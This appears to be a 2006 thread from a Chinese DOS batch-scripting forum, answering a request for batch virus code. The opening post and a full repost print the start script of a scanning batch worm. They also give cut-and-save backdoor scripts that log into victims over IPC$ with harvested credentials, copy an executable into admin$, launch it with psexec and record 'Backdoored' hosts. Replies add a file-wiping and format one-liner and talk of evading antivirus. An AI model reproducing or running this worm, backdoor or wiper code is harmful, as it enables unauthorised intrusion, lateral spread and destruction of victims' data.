Asking, is there any virus code compiled with bat for research purposes. - China DOS Union Forum

Bat.Worm.Muma virus's starting script:
START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
The following is the automatic backdoor.
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

@echo off

@if "%1"=="" goto usage

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------

@net use \\%1\ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection ............OK

@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

@psexec \\%1 c:\winnt\system32\windrv32.exe

@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

Floor2　zh159	Posted 2006-12-13 05:41
金牌会员　Posts 1,467　Credits 3,687
There are: del/q . rd/q * format ^_^

Floor3　tianzizhi	Posted 2006-12-13 05:45
高级用户　Posts 214　Credits 623
Bat.Worm.Muma virus's starting script: START.BAT: CALL MUMA.BAT SET IPA=192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n\|find ":" >A.TMP FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT :START CALL RANDOM.BAT IF "%NUM1%"=="255" GOTO NEARAGAIN IF "%NUM1%"=="192" GOTO NEARAGAIN IF "%NUM1%"=="127" GOTO NEARAGAIN IF "%NUM2%"=="255" GOTO NEARAGAIN IF "%NUM3%"=="255" GOTO NEARAGAIN IF "%NUM4%"=="255" GOTO NEARAGAIN SET IPA=%NUM1%.%NUM2% ECHO START > A.LOG PING %IPA%.%NUM3%.1>B.TMP PING %IPA%.%NUM3%.%NUM4%>>B.TMP FIND /C /I "from" B.TMP IF ERRORLEVEL 1 GOTO START CALL 10.BAT %NUM3% DEL A.LOG GOTO START The following is the automatic backdoor. --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- ------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection ............OK @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @psexec \\%1 c:\winnt\system32\windrv32.exe @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

Floor4　ccwan	Posted 2006-12-13 05:46
金牌会员　Posts 1,160　Credits 2,725　From 河北廊坊
Hard Drive Killer (Australian Version) Batch Source Code I once saved the code as *.bat and was immediately killed by Kaspersky ^_^

Floor5　echo	Posted 2006-12-13 05:49
初级用户　Posts 69　Credits 148
Come on, TXT can also be detected, but I saw a BAT SHELL saying there is a way to get around it, heh heh

Floor6　vkill	Posted 2006-12-13 05:57
金牌会员　Posts 1,744　Credits 4,103　From 甘肃.临泽
Without IPC$, psexec can't be used. Actually, the above one is for the extremely insecure bugs.

Floor1　YYDDOS	Posted 2006-12-13 05:34
初级用户　Posts 16　Credits 38　From 乡下

Floor7　lxmxn	Posted 2006-12-13 06:14
版主　Posts 4,938　Credits 11,386
@copy windrv32.exe\\%1\admin$\system32 Is there a syntax error?

Floor8　YYDDOS	Posted 2006-12-13 13:03
初级用户　Posts 16　Credits 38　From 乡下
What destructive power does the virus above have?